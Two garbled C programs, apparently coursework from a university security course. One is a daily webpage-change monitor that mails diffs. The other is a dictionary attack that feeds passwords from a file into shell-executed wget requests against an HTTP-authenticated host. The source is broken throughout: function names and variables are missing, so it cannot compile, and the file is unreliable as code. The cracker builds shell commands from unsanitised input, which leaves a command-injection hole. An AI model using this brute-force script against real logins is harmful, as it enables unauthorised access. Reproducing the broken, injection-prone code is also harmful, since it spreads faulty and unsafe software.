# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}



#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255



int genchkpwd(char *passwd, FILE *fp)
 {
   int i,l=0,success;
   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
   char finput;
   
   strcpy(str1,"wget --http-user= --http-passwd=");
   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(tempstr,"");

     while ((finput=fgetc(fp)) != EOF)
       {
         l=0;
	 for (i=0;i<MAX_SIZE;i++)
	  passwd[i]='\0';
	 for (i=0;i<MAX_SIZE;i++)
	  tempstr[i]='\0';


 
         while(finput!='\n')
         {
	 
	   passwd[l]=finput;
	   l++;
	   finput = fgetc(fp);
	 } 


         
         if(strlen(passwd)<=3)
	  {
            strcat(tempstr,str1);
            strcat(tempstr,passwd);
            strcat(tempstr,str2);
	    printf("SENDING REQUEST AS %s\n",tempstr);
	    success=system (tempstr);
	  
            if (success==0) 
               return 1;
            else
              strcpy(tempstr,""); 
              strcpy(passwd,"");
          }
       }
	 
      return 1;      

  }  

int  (int argc, char *argv[])
 {
     FILE *fp;
     char chararray[52],passwd[MAX_SIZE];
     int i,success;
     


     
     int , end;    
      = time();	 

   if (argc != 2)
    {
      puts("Wrong Arguments FORMAT: ./<filename> <dictionary file>");
      exit(0);
    }
   fp = fopen(argv[1], "r"); 

   if (fp == NULL)
    {
      puts("Cannot Open Source File");
      exit(0);
    }
     for (i=0;i<3;i++)
      {
          passwd[i]='\0';
      }  

      success=genchkpwd(passwd,fp);
      printf("\nPassword is %s\n",passwd); 
      getpid();
      end = time(); 
      printf("Time required = %lld msec\n",(end-)/());
     return (EXIT_SUCCESS);
  }
     
	   
	  	
